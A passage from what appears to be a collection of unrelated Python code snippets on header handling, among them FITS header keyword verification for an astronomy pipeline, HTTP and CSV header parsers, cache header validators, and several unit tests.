{'htype':'full', 'dtype':bool, 'DB':False, 'None_OK':True},\n 'BIAS16A0': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'BIAS16A1': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'VFITOK16': {'htype':'full', 'dtype':bool, 'DB':False, 'None_OK':True},\n 'MBIAS-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\n 'MBIAS-F': {'htype':'full', 'dtype':str, 'DB':True, 'None_OK':True},\n 'MB-NDAYS': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'SATURATE': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'NOBJ-SAT': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\n 'MFLAT-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\n 'MFLAT-F': {'htype':'full', 'dtype':str, 'DB':True, 'None_OK':True},\n 'MF-NDAYS': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'MFRING-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\n 'MFRING-F': {'htype':'full', 'dtype':str, 'DB':True, 'None_OK':True},\n 'FRRATIO': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'COSMIC-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\n 'NCOSMICS': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'SAT-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\n 'NSATS': {'htype':'full', 'dtype':int, 'DB':True, 'None_OK':True},\n 'REDFILE': {'htype':'full', 'dtype':str, 'DB':True, 'None_OK':True},\n 'MASKFILE': {'htype':'full', 'dtype':str, 'DB':True, 'None_OK':True},\n 'S-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\n 'S-V': {'htype':'full', 'dtype':str, 'DB':False, 'None_OK':True},\n 'S-NOBJ': {'htype':'full', 'dtype':int, 'DB':True, 'None_OK':True},\n 'S-FWHM': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'S-FWSTD': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'S-SEEING': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'S-SEESTD': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'S-ELONG': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'S-ELOSTD': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'S-BKG': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'S-BKGSTD': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'S-VIGNET': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\n 'BKG-CORR': {'htype':'full', 'dtype':bool, 'DB':False, 'None_OK':True},\n 'BKG-CHI2': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'BKG-CF1': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'BKG-CF16': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'BKG-FDEG': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\n 'BKG-FC0': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'A-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\n 'A-V': {'htype':'full', 'dtype':str, 'DB':False, 'None_OK':True},\n 'A-INDEX': {'htype':'full', 'dtype':str, 'DB':False, 'None_OK':True},\n 'A-PSCALE': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'A-PSCALX': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'A-PSCALY': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'A-ROT': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'A-ROTX': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'A-ROTY': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'A-CAT-F': {'htype':'full', 'dtype':str, 'DB':True, 'None_OK':True},\n 'A-NAST': {'htype':'full', 'dtype':int, 'DB':True, 'None_OK':True},\n 'A-TNAST': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\n 'A-NAMAX': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\n 'A-DRA': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'A-DRASTD': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'A-DDEC': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'A-DDESTD': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'PSF-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\n 'PSF-V': {'htype':'full', 'dtype':str, 'DB':False, 'None_OK':True},\n 'PSF-RAD': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-RADP': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-SIZE': {'htype':'full', 'dtype':int, 'DB':True, 'None_OK':True},\n 'PSF-FRAC': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-SAMP': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-CFGS': {'htype':'full', 'dtype':int, 'DB':True, 'None_OK':True},\n 'PSF-NOBJ': {'htype':'full', 'dtype':int, 'DB':True, 'None_OK':True},\n 'PSF-FIX': {'htype':'full', 'dtype':bool, 'DB':False, 'None_OK':True},\n 'PSF-PLDG': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\n 'PSF-CHI2': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'PSF-FWHM': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-SEE': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'PSF-PMIN': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-PMAX': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-PMED': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-PSTD': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-BMIN': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-BMAX': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-BMED': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-BSTD': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-EMNM': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-EMXM': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-EMDM': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-ESTM': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-FMNM': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-FMXM': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-FMDM': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-FSTM': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-EMNG': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-EMXG': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-EMDG': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-ESTG': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-FMNG': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-FMXG': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-FMDG': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PSF-FSTG': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PC-P': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\n 'PC-CAT-F': {'htype':'full', 'dtype':str, 'DB':True, 'None_OK':True},\n 'PC-NCAL': {'htype':'full', 'dtype':int, 'DB':True, 'None_OK':True},\n 'PC-TNCAL': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\n 'PC-FNCAL': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\n 'PC-NCMAX': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\n 'PC-NCMIN': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\n 'PC-ZPFDG': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\n 'PC-ZPF0': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PC-TNSUB': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\n 'PC-NSUB': {'htype':'full', 'dtype':int, 'DB':False, 'None_OK':True},\n 'PC-MZPD': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'PC-MZPS': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PC-ZPDEF': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'PC-ZP': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'PC-ZPSTD': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'PC-EXTCO': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'AIRMASSC': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'RA-CNTR': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'DEC-CNTR': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'PC-AIRM': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'NSIGMA': {'htype':'full', 'dtype':int, 'DB':True, 'None_OK':True},\n 'LIMEFLUX': {'htype':'full', 'dtype':float, 'DB':False, 'None_OK':True},\n 'LIMMAG': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'NOBJECTS': {'htype':'full', 'dtype':int, 'DB':True, 'None_OK':True},\n 'RADECOFF': {'htype':'full', 'dtype':float, 'DB':True, 'None_OK':True},\n 'FORMAT-P': {'htype':'full', 'dtype':bool, 'DB':False, 'None_OK':True},\n 'DUMCAT': {'htype':'full', 'dtype':bool, 'DB':True, 'None_OK':False},\n 'QC-FLAG': {'htype':'full', 'dtype':str, 'DB':True, 'None_OK':False},\n 'DATEFILE': {'htype':'full', 'dtype':str, 'DB':False, 'None_OK':True},\n #\n # transient header\n 'SWARP-P': {'htype':'trans', 'dtype':bool, 'DB':True, 'None_OK':False},\n 'SWARP-V': {'htype':'trans', 'dtype':str, 'DB':False, 'None_OK':True},\n 'Z-REF': {'htype':'trans', 'dtype':str, 'DB':False, 'None_OK':True},\n 'Z-DXYLOC': {'htype':'trans', 'dtype':bool, 'DB':False, 'None_OK':True},\n 'Z-DX': {'htype':'trans', 'dtype':float, 'DB':True, 'None_OK':True},\n 'Z-DY': {'htype':'trans', 'dtype':float, 'DB':True, 'None_OK':True},\n 'Z-DXSTD': {'htype':'trans', 'dtype':float, 'DB':True, 'None_OK':True},\n 'Z-DYSTD': {'htype':'trans', 'dtype':float, 'DB':True, 'None_OK':True},\n 'Z-FNRLOC': {'htype':'trans', 'dtype':bool, 'DB':False, 'None_OK':True},\n 'Z-FNR': {'htype':'trans', 'dtype':float, 'DB':True, 'None_OK':True},\n 'Z-FNRSTD': {'htype':'trans', 'dtype':float, 'DB':True, 'None_OK':True},\n 'Z-P': {'htype':'trans', 'dtype':bool, 'DB':True, 'None_OK':False},\n 'Z-V': {'htype':'trans', 'dtype':str, 'DB':False, 'None_OK':True},\n 'Z-SIZE': {'htype':'trans', 'dtype':int, 'DB':False, 'None_OK':True},\n 'Z-BSIZE': {'htype':'trans', 'dtype':int, 'DB':False, 'None_OK':True},\n 'Z-SCMED': {'htype':'trans', 'dtype':float, 'DB':True, 'None_OK':True},\n 'Z-SCSTD': {'htype':'trans', 'dtype':float, 'DB':True, 'None_OK':True},\n 'Z-FPEMED': {'htype':'trans', 'dtype':float, 'DB':False, 'None_OK':True},\n 'Z-FPESTD': {'htype':'trans', 'dtype':float, 'DB':False, 'None_OK':True},\n 'T-NSIGMA': {'htype':'trans', 'dtype':int, 'DB':True, 'None_OK':True},\n 'T-LFLUX': {'htype':'trans', 'dtype':float, 'DB':False, 'None_OK':True},\n 'T-NTRANS': {'htype':'trans', 'dtype':int, 'DB':True, 'None_OK':True},\n 'T-FTRANS': {'htype':'trans', 'dtype':float, 'DB':True, 'None_OK':True},\n 'T-LMAG': {'htype':'trans', 'dtype':float, 'DB':True, 'None_OK':True},\n 'T-NFAKE': {'htype':'trans', 'dtype':int, 'DB':False, 'None_OK':True},\n 'T-FAKESN': {'htype':'trans', 'dtype':float, 'DB':False, 'None_OK':True},\n 'MC-P': {'htype':'trans', 'dtype':bool, 'DB':True, 'None_OK':False},\n 'MC-V': {'htype':'trans', 'dtype':str, 'DB':False, 'None_OK':True},\n 'MC-MODEL': {'htype':'trans', 'dtype':str, 'DB':False, 'None_OK':True},\n 'TDUMCAT': {'htype':'trans', 'dtype':bool, 'DB':True, 'None_OK':False},\n 'TQC-FLAG': {'htype':'trans', 'dtype':str, 'DB':True, 'None_OK':False},\n }\n\n # read header of filename\n if isfile (filename):\n header = read_hdulist (filename, get_data=False, get_header=True)\n else:\n # return success=False if it does not exist\n log.warning ('file {} does not exist; not able to verify its header'\n .format(filename))\n return False\n\n\n # force [htypes] to be a list\n htypes_list = list(htypes)\n\n # loop keys in dict_head\n for key in dict_head.keys():\n\n # only check keywords with htype matching the input [htypes]\n if dict_head[key]['htype'] not in htypes_list:\n continue\n\n # check that key is present in header\n if key in header:\n\n # provide warning if dtype not as expected and header\n # keyword value is not 'None'\n if (dict_head[key]['dtype'] != type(header[key]) and\n header[key] != 'None'):\n log.warning ('dtype of keyword {}: {} does not match the '\n 'expected dtype: {} in header of {}'\n .format(key, type(header[key]),\n dict_head[key]['dtype'], filename))\n\n # if key goes to DataBase and value is 'None' or None\n # while 'None_OK' is False, raise an exception\n if (dict_head[key]['DB'] and not dict_head[key]['None_OK'] and\n (header[key] is None or header[key] == 'None')):\n msg = ('DataBase keyword {} not allowed to have \\'None\\' or '\n 'None value in header of {}'.format(key, filename))\n log.error (msg)\n raise ValueError (msg)\n\n\n else:\n msg = 'keyword {} not present in header of {}'.format(key, filename)\n # if keyword will be ingested into the database, raise an exception\n if dict_head[key]['DB']:\n log.error (msg)\n raise KeyError (msg)\n\n else:\n log.warning (msg)\n\n\n return","def test_invalid_header_message_added(self):\n\n node_mock = MagicMock()\n node_mock.stream.return_value.__enter__.return_value.read.return_value.decode.return_value = '# Invalid\\n# Header'\n with self.assertAddsMessages(pylint.testutils.Message(\n msg_id='invalid-file-header',\n line=1,\n args=self.EXPECTED_HEADER)):\n self.checker.process_module(node_mock)","def parse_header(self, out):\n self.headers = {}\n for h in out.split(\"\\r\\n\\r\\n\", 1)[0].split(\"\\r\\n\"):\n x = h.split(\":\")\n self.headers[x[0]] = \":\".join(x[1:]).lstrip()\n return True","def _ValidateCacheEntryHeader(self, cache_entry_header):\n return (cache_entry_header.request_size > 0 and\n cache_entry_header.request_size < self._MAXIMUM_URL_LENGTH and\n cache_entry_header.major_format_version == 1 and\n cache_entry_header.last_fetched_time > 0 and\n cache_entry_header.fetch_count > 0)","def test_header_parser_vanilla(self):\n lines = [\"Content-Type: application/json\", \"Accept: application/json\"]\n h = {\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"}\n headers = parser._parse_headers(lines)\n self.assertEqual(h, headers)","def has_supported_header_hormat(cls, csv_reader):\n return csv_reader.fieldnames == cls.INGFormatHeader","def _ValidateCacheFileMetadataHeader(self, cache_file_metadata_header):\n return (cache_file_metadata_header.key_size > 0 and\n cache_file_metadata_header.key_size < self._MAXIMUM_URL_LENGTH and\n cache_file_metadata_header.format_version in (1, 2, 3) and\n cache_file_metadata_header.last_fetched_time > 0 and\n cache_file_metadata_header.fetch_count > 0)","def test_valid_header_not_at_top_message_added(self):\n\n node_mock = MagicMock()\n node_mock.stream.return_value.__enter__.return_value.read.return_value.decode.return_value = 'print(\\'hello\\')\\n# Valid\\n# Header'\n with self.assertAddsMessages(pylint.testutils.Message(\n msg_id='invalid-file-header',\n line=1,\n args=self.EXPECTED_HEADER)):\n self.checker.process_module(node_mock)","def check_packet(self, header, string):\n\n string = string[0:11] + string[75:]\n gen_chksum = hashlib.sha256(string.encode()).hexdigest()\n try:\n if header[\"checksum\"] == gen_chksum:\n return True\n else:\n return False\n except KeyError:\n return False","def test_header(self):\n frame_with_header = self.context.frame.import_csv(\n self.dataset, schema=self.schema, header=True)\n frame_without_header = self.context.frame.import_csv(self.dataset,\n schema=self.schema, header=False)\n\n # the frame with the header should have one less row\n # because it should have skipped the first line\n self.assertEqual(len(frame_with_header.take(frame_with_header.count()).data),\n len(frame_without_header.take(frame_without_header.count()).data) - 1)\n # comparing the content of the frame with header and without\n # they should have the same rows with the only differnce being the\n # frame with the header should not have the first row\n for index in xrange(0, frame_with_header.count()):\n self.assertEqual(str(frame_with_header.take(frame_with_header.count()).data[index]),\n str(frame_without_header.take(frame_without_header.count()).data[index + 1]))","def test_raw_empty(self):\n self.assertRaisesHeaderError([''])","def test_authorization_header_empty(self, get_key_secret):\r\n request = Request(self.environ)\r\n request.authorization = \"bad authorization header\"\r\n request.body = self.get_request_body()\r\n response = self.xmodule.grade_handler(request, '')\r\n real_response = self.get_response_values(response)\r\n expected_response = {\r\n 'action': None,\r\n 'code_major': 'failure',\r\n 'description': 'OAuth verification error: Malformed authorization header',\r\n 'messageIdentifier': self.DEFAULTS['messageIdentifier'],\r\n }\r\n self.assertEqual(response.status_code, 200)\r\n self.assertDictEqual(expected_response, real_response)","def test_authorization_header_empty(self, _get_key_secret):\n request = Request(self.environ)\n request.authorization = \"bad authorization header\"\n request.body = self.get_request_body()\n response = self.xmodule.grade_handler(request, '')\n real_response = self.get_response_values(response)\n expected_response = {\n 'action': None,\n 'code_major': 'failure',\n 'description': 'OAuth verification error: Malformed authorization header',\n 'messageIdentifier': self.defaults['messageIdentifier'],\n }\n assert response.status_code == 200\n self.assertDictEqual(expected_response, real_response)","def testReadHeaderPass(self):\n try:\n archive = archive_parser.Archive(archive_parser.Archive.GLOBAL_SIG)\n archive.Parse()\n except ValueError:\n self.fail('Archive reader read improperly.')","def check_headers(df, filename):\n print(\"Checking headers for: \" + filename)\n read_message = \"\"\n\n original_colnames = df.columns.tolist()\n # good_colnames = [\"Marker\",\"Chr\",\"Position\",\"Effect_allele\",\"Other_allele\",\"Beta\",\"SE\",\"Pval\",\"EAF\",\"N\",\"Imputed\",\"Info\",\"Information_type\"]\n\n # Before actually checking the contents header, are there even headers?\n passed = False\n for col in original_colnames:\n if col.lower().strip() in [\"name\", \"snp\", \"snpid\", \"id\", \"markername\", \"marker\", \"rsid\"]:\n passed = True\n\n # Fail the check if the name column is not found, this is to stop the checks if there is a file without a header\n if not passed:\n # First check whether this is one of the files of Malik, where the columns were missing\n if filename.split('/')[-1].startswith('INTERSTROKE'):\n # Add column names and moveverything down\n first_data_row = df.columns.tolist()\n df.loc[-1] = first_data_row # adding a row\n df.index = df.index + 1 # shifting index\n df = df.sort_index() # sorting by index\n df.columns = [\"SNPID\", \"chr\", \"position\", \"coded_all\", \"noncoded_all\", \"strand_genome\", \"beta\", \"SE\", \"pval\", \"AF_coded_all\", \"n_cases\", \"n_controls\", \"imputed\", \"oevar_imp\"]\n original_colnames = df.columns.tolist()\n read_message = read_message + \"NAMECOLCHECK;CUSTOMCOLS\" \n\n elif filename.split('/')[-1].startswith('ASGC'):\n # Add column names and moveverything down\n first_data_row = df.columns.tolist()\n df.loc[-1] = first_data_row # adding a row\n df.index = df.index + 1 # shifting index\n df = df.sort_index() # sorting by index\n df.columns = [\"SNPID\", \"chr\", \"position\", \"n_cases\", \"n_controls\", \"coded_all\", \"noncoded_all\", \"AF_coded_all\", \"beta\", \"SE\", \"pval\", \"imputed\", \"info\"]\n original_colnames = df.columns.tolist()\n read_message = read_message + \"NAMECOLCHECK;CUSTOMCOLS\" \n\n else:\n # print(\"Something went wrong for \" + filename)\n # print(\"Please make sure there are headers in the file and that there is a name/id/marker column\")\n return df, \"NAMECOLCHECK;FAILED\"\n \n # Variable to hold all unknown columns\n unknown_cols = []\n\n # Loop over al colnames and rename it\n for index,col in enumerate(original_colnames):\n if col.lower().strip() in [\"name\", \"snp\", \"snpid\", \"id\", \"markername\", \"marker\", \"rsid\"]:\n original_colnames[index] = \"Marker\"\n\n elif col.lower().strip() in [\"chromosome\", \"chr\", \"chrom\"]:\n original_colnames[index] = \"Chr\"\n\n elif col.lower().strip() in [\"pos\", \"position\", \"bp\"]:\n original_colnames[index] = \"Position\"\n\n elif col.lower().strip() in [\"effallele\", \"eff_allele\", \"effectallele\", \"effect_allele\", \"coded_all\", \"codedall\", \"allele1\"]:\n original_colnames[index] = \"Effect_allele\"\n\n elif col.lower().strip() in [\"noneffallele\", \"noneff_allele\", \"noneffectallele\", \"noneffect_allele\", \"non_coded_all\", \"noncoded_all\", \"noncodedall\", \"other_allele\", \"otherallele\", \"allele2\"]:\n original_colnames[index] = \"Other_allele\"\n\n elif col.lower().strip() in [\"beta\"]:\n original_colnames[index] = \"Beta\"\n\n elif col.lower().strip() in [\"se\", \"sebeta\", \"stderr\"]:\n original_colnames[index] = \"SE\"\n\n elif col.lower().strip() in [\"p\", \"pval\", \"p-value\"]:\n original_colnames[index] = \"Pval\"\n\n elif col.lower().strip() in [\"eaf\", \"freq1\", \"af_coded_all\", \"effallelefreq\"]:\n original_colnames[index] = \"EAF\"\n\n elif col.lower().strip() in [\"n\", \"ntot\", \"n_total\"]:\n original_colnames[index] = \"N\"\n\n elif col.lower().strip() in [\"ncase\", \"ncases\", \"n_case\", \"n_cases\"]:\n original_colnames[index] = \"N_cases\"\n\n elif col.lower().strip() in [\"ncontrol\", \"ncontrols\", \"n_control\", \"n_controls\"]:\n original_colnames[index] = \"N_controls\"\n\n elif col.lower().strip() in [\"imputed\", \"imp\"]:\n original_colnames[index] = \"Imputed\"\n\n elif col.lower().strip() in [\"inf\", \"info\", \"info_rsq\", \"rsqr\"]:\n original_colnames[index] = \"Info\"\n\n elif col.lower().strip() in [\"inf_type\", \"information_type\"]:\n original_colnames[index] = \"Information_type\"\n\n # Not neccesary for the toolkit, but reduce the error messages\n elif col.lower().strip() in [\"strand\", \"strand_genome\"]:\n original_colnames[index] = \"Strand\"\n\n elif col.lower().strip() in [\"oevar_imp\"]:\n original_colnames[index] = \"oevar_imp\"\n\n elif col.lower().strip() in [\"pval.t\"]:\n original_colnames[index] = \"pval.t\"\n\n elif col.lower().strip() in [\"df.t\"]:\n original_colnames[index] = \"df.t\"\n\n elif col.lower().strip() in [\"approxdf\"]:\n original_colnames[index] = \"approxdf\"\n\n elif col.lower().strip() in [\"or\"]:\n original_colnames[index] = \"OR\"\n\n else:\n # print(\"Could not match the string: \" + col)\n # print(\"Please make sure this column is handled correctly in the toolkit\")\n unknown_cols.append(col)\n\n # Change column names\n df.columns = original_colnames\n\n # Write the unknown columns into the fail_reason variable\n if len(unknown_cols) > 0:\n read_message = read_message + \"NAMECOLCHECK;PASSED\" + \" UNRECOGNIZED;\" + ' '.join([str(elem) for elem in unknown_cols])\n else:\n read_message = read_message + \"NAMECOLCHECK;PASSED\"\n\n return df, read_message","def getHeader():\n return _HEADER","def check_csv_headers(csvfile, headers):\n\n with open(csvfile, 'rb') as f:\n csv_header = f.readline()\n\n # Check the lower ones\n if headers[1][0] not in csv_header.lower():\n return False\n\n return True","def test_user_headers_sent_with_request(self):\n user_header = {'All-Request-Headers': 'Headers from user code'}\n req = self.httpbin.get_my_headers(headers=user_header, dry_run=True)\n self.assertIn('All-Request-Headers', req.prepared_request.headers)\n self.assertEqual(req.prepared_request.headers['All-Request-Headers'], user_header['All-Request-Headers'])","def _handle_header(header):\n\n if header is None or header == \"\" or header == \"None\":\n return None\n elif header == \"False\":\n return None\n elif header == \"True\":\n return 0\n else:\n try:\n #check if header can be parsed to an int\n result = int(header)\n return result\n except ValueError as v:\n return None\n return 0","def _headercorrected(hdr):\n # COM*** -> COMMENT\n i = 1\n while 'COM%03d' % i in hdr:\n value = hdr['COM%03d' % i]\n comment = hdr.cards['COM%03d' % i].comment\n hdr['COMMENT'] = '[%s] %s' % (comment, value)\n del hdr['COM%03d' % i]\n i += 1\n # HIST*** -> HISTORY\n i = 1\n while 'HIST%03d' % i in hdr:\n value = hdr['HIST%03d' % i]\n comment = hdr.cards['HIST%03d' % i].comment\n hdr['HISTORY'] = '%s (%s)' % (value, comment)\n del hdr['HIST%03d' % i]\n i += 1\n # ORIGIN -> FROM\n if 'ORIGIN' in hdr.keys():\n hdr.rename_keyword('ORIGIN', 'FROM')\n if 'ORIGIN_V' in hdr.keys():\n hdr.rename_keyword('ORIGIN_V', 'FROM_V')\n # SOURCE_V -> FORMAT\n if 'SOURCE_V' in hdr.keys():\n hdr.rename_keyword('SOURCE_V', 'FORMAT')\n # SRC_VERS -> SRC_V\n if 'SRC_VERS' in hdr.keys():\n hdr.rename_keyword('SRC_VERS', 'SRC_V')","def check(header, out):\r\n for i in range(len(header)):\r\n if header[i] > 0:\r\n if header[i] != int(out[i]):\r\n return False\r\n return True","def assert_has_valid_head(self, response, expected):\r\n assert 'head' in response\r\n head = response['head']\r\n assert isinstance(head, str)\r\n assert head == expected","def is_header(fields):\n if len(fields) < 11:\n return None\n # Test a column which should usually be a number in data lines and never a number in header lines.\n try:\n float(fields[8])\n return False\n except ValueError:\n pass\n first_field = fields[0]\n # An explicitly commented line is a header.\n if first_field.startswith('#'):\n return True\n # The first field in a header is usually these two (and never these in data lines).\n if first_field.lower() == 'sample' or first_field.lower() == 'family':\n return True\n # Fallback 1: There should never be a number in a header line. If we find one, it's a data line.\n for field in fields:\n try:\n float(field)\n return False\n except ValueError:\n pass\n # Fallback 2: Just test whether any of the known labels is in the line.\n for label in LABELS:\n if label in fields:\n return True\n for label in LABELS:\n if label.lower() in fields:\n return True","def test_content_type_header_not_automatically_added(httpbin):\n resp = requests.get(httpbin + \"/headers\").json()[\"headers\"]\n assert \"Content-Type\" not in resp","def test_drycc_version_header_good(self):\n response = self.client.get('/v2/apps')\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.has_header('DRYCC_API_VERSION'), True)\n self.assertEqual(response['DRYCC_API_VERSION'], __version__.rsplit('.', 1)[0])","def is_header(file_name):\n return str(file_name).endswith('.h')","def process_headers(fin, fout, fixed_headers):\n filtered_headers = set(item[0] for item in fixed_headers)\n filtered_headers.add(\"SAMPLE\")\n expected_values = {\n name: value for name, asserted, value in fixed_headers if asserted\n }\n errors = False\n for raw_line in fin:\n if raw_line.startswith('##'):\n # TODO: This will break if the metadata header is bad.\n name, value = raw_line[2:].rstrip().split('=', 1)\n if name in filtered_headers:\n if name in expected_values:\n if value != expected_values[name]:\n errors = True\n # TODO: propper logging\n sys.stderr.write(\n 'tcga-vcf-reheader: mismatch {}={}\\n'.format(\n name, value\n )\n )\n else: # Just some other header...\n fout.write(raw_line)\n else:\n break\n fout.write(raw_line) # raw_line should now be the data header line.\n return errors","def is_header(filename):\n header_extensions = {'h'}\n return os.path.splitext(filename)[1][1:] in header_extensions","def is_htmx(request):\n return 'Hx-Request' in request.headers","def is_header_part(cell: str) -> bool:\n pattern = '|'.join([\n rf'(?:(?:three|3|six|6|nine|9|twelve|12)\\s+months?(?:\\s+periods?)?|quarters?|year|ytd)(?!ly)',\n rf'\\b(?:{MONTH})\\b',\n rf'^(?:end(?:ed|ing))?(?:20)\\s*[0-2]\\s*[0-9]{FOOTNOTE}$',\n rf'^\\d{1, 2}/\\d{1, 2}/\\d{2, 4}{FOOTNOTE}$',\n rf'^q[1-4](?:\\s*\\(\\w+\\))?{FOOTNOTE}$',\n rf'^[1-4]q(?:tr)?(?:\\d{2, 4})?',\n rf'as\\s+(?:reported|adjusted)',\n rf'year-?\\s*to-?\\s*date',\n rf'^year-$',\n rf'^to-date$',\n rf'full\\s+year',\n rf'^(?:28|29|30|31){FOOTNOTE}$',\n rf'^(?:month|quarter|year)s?{FOOTNOTE}$',\n rf'^(?:three|six|nine|twelve){FOOTNOTE}$',\n rf'^(?:operating|reported|baseline|percent|%|end(?:ed|ing)){FOOTNOTE}$',\n ORDINAL,\n rf'^(?:(?:20)\\s*[0-2]\\s*[0-9]\\*\\s*)?{UNAUDITED_EXACT}$'\n ])\n prepped = str(cell).lower().strip()\n match = re.search(allow_space_between_letters(pattern), prepped)\n return match is not None or parse_fiscal_period(cell) is not None","def has_headers(self):\n for column in self.columns:\n if column.header:\n return True\n return False","def is_same_header(self, block_header):\n if len(self.variable_strings) > 0:\n if len(self.variable_strings) != len(\n block_header.variable_strings\n ):\n return False\n else:\n for sitem, oitem in zip(\n self.variable_strings, block_header.variable_strings\n ):\n if sitem != oitem:\n return False\n return True\n elif (\n len(self.data_items) > 0 and len(block_header.variable_strings) > 0\n ):\n typ_obj = (\n self.data_items[0].structure.data_item_structures[0].type_obj\n )\n if typ_obj == int or typ_obj == float:\n return bool(\n self.variable_strings[0]\n == block_header.variable_strings[0]\n )\n else:\n return True\n elif len(self.data_items) == len(block_header.variable_strings):\n return True\n return False","def is_header(line, max_level):\n if max_level:\n return 